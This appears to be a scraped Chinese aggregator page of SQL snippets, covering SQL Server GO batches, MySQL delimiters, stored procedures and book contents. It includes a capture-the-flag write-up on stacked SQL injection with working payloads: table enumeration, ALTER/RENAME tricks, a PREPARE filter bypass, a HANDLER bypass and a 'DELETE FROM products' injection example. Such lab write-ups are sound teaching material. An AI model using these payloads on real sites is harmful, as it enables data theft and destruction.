-
sql2000中sql语句很多都有个"GO",这是什么意思啊?
2009-08-04 16:34:00最佳答案如果只是执行一条语句,有没有GO都一样如果多条语句之间用GO分隔开就不一样了每个被GO分隔的语句都是一个单独的事务,一个语句执行失败不会影响其它语句执行。做个试验首先同时执行下边的语句select * from...sql2000中sql语句很多都有个"GO",这是什么意思啊?
我觉得没有也一样执行啊.
有什么区别吗?最佳答案
如果只是执行一条语句,有没有GO都一样
如果多条语句之间用GO分隔开就不一样了
每个被GO分隔的语句都是一个单独的事务,一个语句执行失败不会影响其它语句执行。
做个试验
首先同时执行下边的语句
select * from sysobjects where id=a
select getdate()
你会发现会报错,并且不会显示任何结果集
而你再执行
select * from sysobjects where id=a
go
select getdate()
go
你会发现尽管同样会报错,但结果集中包含select getdate()的结果。 -
精通sql结构化查询语句
2012-11-03 17:35:291.5 SQL开发环境 1.5.1 SQL环境介绍 1.5.2 SQL的层次结构 1.5.3 SQL环境中的对象 1.5.4 SQL环境中的程序系统 1.6 SQL语句基础 1.6.1 SQL常量 1.6.2 SQL表达式 1.6.3 SQL数据类型 1.6.4 注释符 1.6.5 批处理 1.6.6 ... -
SQL注入之堆叠注入/预处理/handler-[强网杯 2019]随便注 1
2020-09-15 12:41:11所谓堆叠注入,就是把多条完整的SQL语句用分号;分隔开,而不是用union或union all连接起来。 在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起...堆叠注入介绍
所谓堆叠注入,就是把多条完整的SQL语句用分号
;
分隔开,而不是用union
或union all
连接起来。在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ;
结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union
injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union
all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE
FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where
productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。举例:[强网杯 2019]随便注 1
首先检查注入类型:字符注入
1' or 1=1 #
返回了所有数据,说明是字符型注入。再次检查字段数
1' order by 2 # # 返回正常数据 1' order by 3 # # error 1054 : Unknown column '3' in 'order clause' # 报错,说明只有2个字段
查看数据库
1' union select 1, database() #
报错:
说明服务端脚本过滤了一些select、update语句,那就试试堆叠注入:1';show databases;#
找到数据库:supersqli。查看数据表
1';show tables;#
找到两张表:1919810931114514、words。查看表字段名
1';show columns from words;# 1';show columns from `1919810931114514`;#
从表结构可以知道前端?inject=1
显示的是words表的数据。获取flag
现在无法用SELECT来查询flag,只能通过修改表明和表结构,改成words表明。因为有GET请求中的id,所以表结构里必须包含id。
首先改一下1919810931114514的表结构:1';ALTER TABLE `1919810931114514` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;#
查一下此表结构,是否变换:
为了前端能显示出来,改名为’words’,原来的words表改为words2:1';RENAME TABLE `words` TO `words2`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;#
查看flag:
1' or 1=1 #
预处理绕过select限制
1';PREPARE st from concat('s','elect', ' * from `1919810931114514` ');EXECUTE st;#
handler绕过
';handler `1919810931114514` open;handler `1919810931114514` read first#
本地环境搭建
https://github.com/CTFTraining/qwb_2019_supersqli
参考
-
达梦数据库_SQL语言手册
2020-03-19 16:19:37达梦数据库_SQL语言手册.pdf 数据库快照定义语句 数据库快照删除语句 第章数据查询语句和全文检索语句 单表查询 简单查询 带条件查询 集函数 情况表达式 连接查询 子查询 标量子查询 表子查询 派生表子... -
2009达内SQL学习笔记
2010-02-10 19:46:58多条SQL语句必须以分号分隔。多数DBMS不需要在单条SQL语句后加分号,但特定的DBMS可能必须在单条SQL语句后加分号。 SQL语句的最后一句要以 “;”号结束 二、写子句顺序 Select column,group_function From ... -
Oracle SQL高级编程(资深Oracle专家力作,OakTable团队推荐)--详细书签版
2013-02-04 12:43:526.2.4 标识SQL语句以便以后取回计划 153 6.2.5 深入理解DBMS_XPLAN的细节 156 6.2.6 使用计划信息来解决问题 161 6.3 小结 169 第7章 高级分组 170 7.1 基本的GROUP BY用法 171 7.2 HAVING子句 174 7.3 GROUP... -
Oracle SQL高级编程(资深Oracle专家力作,OakTable团队推荐)--随书源代码
2013-02-04 12:49:336.2.4 标识SQL语句以便以后取回计划 153 6.2.5 深入理解DBMS_XPLAN的细节 156 6.2.6 使用计划信息来解决问题 161 6.3 小结 169 第7章 高级分组 170 7.1 基本的GROUP BY用法 171 7.2 HAVING子句 174 7.3 GROUP... -
SQL Server 2008宝典--详细书签版(第1/2部分)
2013-02-06 13:11:303.3.5 脱机编写SQL语句后连接到服务器 55 3.3.6 全屏显示查询编辑器 55 3.3.7 使用模板编写SQL语句 56 3.3.8 创建自定义模板 57 3.3.9 使用项目脚本和解决方案 58 3.4 示例数据库 59 3.4.1 SQL Server 2008... -
SQL Server 2008实战(SQL Server程序员和DBA不可或缺的权威参考手册)--详细书签版
2013-02-06 11:52:192.4.2 在一条语句中执行INSERT、UPDATE和DELETE 78 2.5 捕获和跟踪数据修改的改变 81 2.5.1 返回数据修改语句影响的行 81 2.5.2 异步捕获表数据修改 83 2.5.3 从CDC表查询所有变更 87 2.5.4 从CDC表查询... -
MySQL存储过程案例说明
2020-07-08 00:16:50先说说分隔符是什么:连续执行多条SQL语句的时候,会用“;”来分隔开,代表一条SQL语句已经执行完成。 在存储过程中执行到分隔符处就代表一个存储过程执行完成 语法:DELIMITER $ 注:如果不声明分隔符,默认是...基本语法和具体说明可以参考:https://blog.csdn.net/qq_41622603/article/details/107168191
首先,声明一下分隔符
先说说分隔符是什么:连续执行多条SQL语句的时候,会用“;”来分隔开,代表一条SQL语句已经执行完成。
在存储过程中执行到分隔符处就代表一个存储过程执行完成
语法:DELIMITER $
注:如果不声明分隔符,默认是“;”,案例声明的分隔符使用“$”。分隔符一般声明一次,以后都可以使用
案例
#声明分隔符 DELIMITER $ #传入用户密码,返回结果 CREATE PROCEDURE myp4(IN username VARCHAR(20),IN PASSWORD VARCHAR(20),OUT result INT) BEGIN SELECT COUNT(*) INTO result#给返回值赋值 FROM admin WHERE admin.username = username AND admin.password = PASSWORD; END $ #调用存储过程 CALL myp4('admin','8888',@result)$ #查询存储过程的输出 SELECT @result$
注:自己的理解,如果有异议麻烦大神们纠正和补充下
-
MySQL函数案例说明
2020-07-11 11:40:31先说说分隔符是什么:连续执行多条SQL语句的时候,会用“;”来分隔开,代表一条SQL语句已经执行完成。 在存储过程中执行到分隔符处就代表一个存储过程执行完成 语法:DELIMITER $ 注:如果不声明分隔符,默认是...基本语法和具体说明可以参考:https://blog.csdn.net/qq_41622603/article/details/107282021
首先,声明一下分隔符
先说说分隔符是什么:连续执行多条SQL语句的时候,会用“;”来分隔开,代表一条SQL语句已经执行完成。
在存储过程中执行到分隔符处就代表一个存储过程执行完成
语法:DELIMITER $
注:如果不声明分隔符,默认是“;”,案例声明的分隔符使用“$”。分隔符一般声明一次,以后都可以使用
案例:
#声明分隔符 DELIMITER $ #根据员工名,返回它的工资 CREATE FUNCTION myf2(empName VARCHAR(20)) RETURNS DOUBLE BEGIN SET @sal=0;#定义用户变量 SELECT salary INTO @sal #赋值 FROM employees WHERE last_name = empName; RETURN @sal; END $ #调用函数 SELECT myf2('k_ing') $
-
数据库概念的复习总结
2011-06-23 22:37:26必须使用游标的SQL语句:查询结果为多条记录的SELECT语句;CURRENT形式的UPDATE语句;CURRENT形式的DELETE语句。 34、使用游标的步骤 (1)说明游标 EXEC SQL DECLARE <游标名> CURSOR FOR 语句>; (2)打开游标 ... -
MySql基本查询、连接查询、子查询、正则表达查询讲解
2017-08-24 18:38:30而且,可以同时使用多个AND关键字,这样可以连接更多的条件表达式。 (3)模糊查询 like 像 LIKE关键字可以匹配字符串是否相等。如果字段的值与指定的字符串相匹配,则满足查询条件,该纪录将被查询出来。如果与... -
3.2.0 SQL语句的优化 3.2.1 数据库索引的底层实现原理和优化 3.2.2 HTTP和HTTPS的主要区别? 3.2.3 如何设计一个高并发的系统? 3.2.4 两条相交的单向链表,如何求他们的第一个公共节点? 3.2.5 求单向局部循环...
-
MySQL命令大全
2018-01-15 11:19:171:使用SHOW语句找出在服务器上当前存在什么数据库: mysql> SHOW DATABASES; 2:2、创建一个数据库MYSQLDATA mysql> Create DATABASE MYSQLDATA; 3:选择你所创建的数据库 mysql> USE MYSQLDATA; (按回车键出现... -
MYSQL常用命令大全
2011-05-30 13:31:241:使用SHOW语句找出在服务器上当前存在什么数据库: mysql> SHOW DATABASES; 2:2、创建一个数据库MYSQLDATA mysql> Create DATABASE MYSQLDATA; 3:选择你所创建的数据库 mysql> USE MYSQLDATA; (按回车键出现... -
Oracle 9i & 10g编程艺术:深入数据库体系结构(09年度畅销榜TOP50)(08年度畅销榜TOP50)--详细书签版
2013-02-06 18:24:20开本:16开 页码:737 版次:1-1 内容简介 本书是一本关于Oracle 9i & 10g数据库体系结构的权威图书,涵盖了所有最重要的Oracle体系结构特性,包括文件、内存结构和进程,锁和闩,事务、并发和多版本,表和索引,... -
Access 2000数据库系统设计(PDF)---001
2006-02-23 15:31:0426411.8.2 基于窗体的更新 26411.8.3 用SQL语句进行更新 26411.8.4 用SQL Server存储过程进行更新 265第三部分 设计窗体和报表第12章 创建和使用窗体 26712.1 理解Access窗体和控件的角色 26712.2 使用窗体向导创建... -
oracle学习文档 笔记 全面 深刻 详细 通俗易懂 doc word格式 清晰 连接字符串
2017-05-06 20:26:52 数据查询语言 (Data Query Language, DQL) 是SQL语言中,负责进行数据查询而不会对数据本身进行修改的语句,这是最基本的SQL语句。例如:SELECT(查询) 数据控制语言Data Controlling Language(DCL),用来... -
Access 2000数据库系统设计(PDF)---031
2006-02-23 15:31:0426411.8.2 基于窗体的更新 26411.8.3 用SQL语句进行更新 26411.8.4 用SQL Server存储过程进行更新 265第三部分 设计窗体和报表第12章 创建和使用窗体 26712.1 理解Access窗体和控件的角色 26712.2 使用窗体向导创建... -
Access 2000数据库系统设计(PDF)---016
2006-02-23 15:31:0426411.8.2 基于窗体的更新 26411.8.3 用SQL语句进行更新 26411.8.4 用SQL Server存储过程进行更新 265第三部分 设计窗体和报表第12章 创建和使用窗体 26712.1 理解Access窗体和控件的角色 26712.2 使用窗体向导创建... -
Access 2000数据库系统设计(PDF)---011
2006-02-23 15:31:0426411.8.2 基于窗体的更新 26411.8.3 用SQL语句进行更新 26411.8.4 用SQL Server存储过程进行更新 265第三部分 设计窗体和报表第12章 创建和使用窗体 26712.1 理解Access窗体和控件的角色 26712.2 使用窗体向导创建... -
MySQL 5权威指南(第3版)--详细书签版
2013-02-05 15:44:005.4.4 一次执行多条命令(脚本) 77 5.4.5 存储过程 77 5.4.6 MySQL Help(帮助文档) 77 第6章 phpMyAdmin 78 6.1 phpMyAdmin的安装与配置 79 6.1.1 安装phpMyAdmin文件 79 6.1.2 配置phpMyAdmin 79 6.1.3 ... -
可以把ok_geo.csv导入到数据库内使用,由于POLYGON需要解析,蛮复杂的,可以参考src/map_geo_格式化.js内的SQL Server导入用的SQL语句的例子,或者直接使用AreaCity-Geo格式转换工具软件进行转换成shp、geojson、sql...
-
Oracle Database 9i10g11g编程艺术:深入数据库体系结构(第2版)--详细书签版
2013-02-03 11:42:53开本:16开 页码:706 版次:2-1 编辑推荐 久负盛名的Oracle经典 世界顶级专家Thomas Kyte力作 Ask Tom!解决你所有的Oracle疑难杂症 内容简介 本书是一本关于oracle database 9i、10g 和11g 数据库体系... -
大话Oracle RAC:集群、高可用性、备份与恢复--详细书签版
2013-02-06 16:12:0614.4.1 SQL语句的执行过程 466 14.4.2 SQL性能调整的基本方法 467 14.4.3 PL/SQL和SQL 471 14.5 小结 473 前言 从2008年2月开始动笔到定稿出版,这本书的编写几乎花费了我10个月的时间,大大超出了最初3... -
C#编程经验技巧宝典
2008-06-01 08:59:3316 <br>0033 Return语句的使用 17 <br>0034 如何实现无限循环 17 <br>0035 巧用foreach语句控制控件 18 <br>0036 有效使用switch case语句 18 <br>2.3 运算符 19 <br>0037 如何使用... -
一条 SQL 语句在 MySQL 中如何执行的 关于数据库中如何存储时间的一点思考 Redis Redis 常见问题总结 面试/工作必备!3种常用的缓存读写策略! 系统设计 编码之道(必看 ) RestFul API 简明教程 Java 编程规范...
-
一条 SQL 语句在 MySQL 中如何执行的 关于数据库中如何存储时间的一点思考 Redis Redis 常见问题总结 面试/工作必备!3种常用的缓存读写策略! 系统设计 编码之道(必看 ) RestFul API 简明教程 Java 编程规范...
-
一条 SQL 语句在 MySQL 中如何执行的 关于数据库中如何存储时间的一点思考 Redis Redis 常见问题总结 面试/工作必备!3种常用的缓存读写策略! 系统设计 编码之道(必看 ) RestFul API 简明教程 Java 编程规范...
-
ShiroExploit.V2.3.zip
-
作业1-源码
-
MMM 集群部署实现 MySQL 高可用和读写分离
-
太极旗:韩国国旗-源码
-
关于jstl中的foreach标签无效
-
构建更好Web客户端,TaylorHughes讲述Skit框架背后的故事
-
我在Uber亲历的最严重的工程灾难
-
BaiTap05-源码
-
openface.nn4.small2.v1.t7
-
基础句法2
-
A2箱形盖板问题.zip
-
MySQL 视图
-
MySQL 数据类型和运算符
-
被调查者-源码
-
sql server 通过链接服务器连接mysql
-
MySQL 多实例安装 及配置主从复制实验环境
-
自动化测试框架Cucumber和RobotFramework的实战对比
-
xxljob源码分析
-
练习续集关系-源码
-
Windows系统管理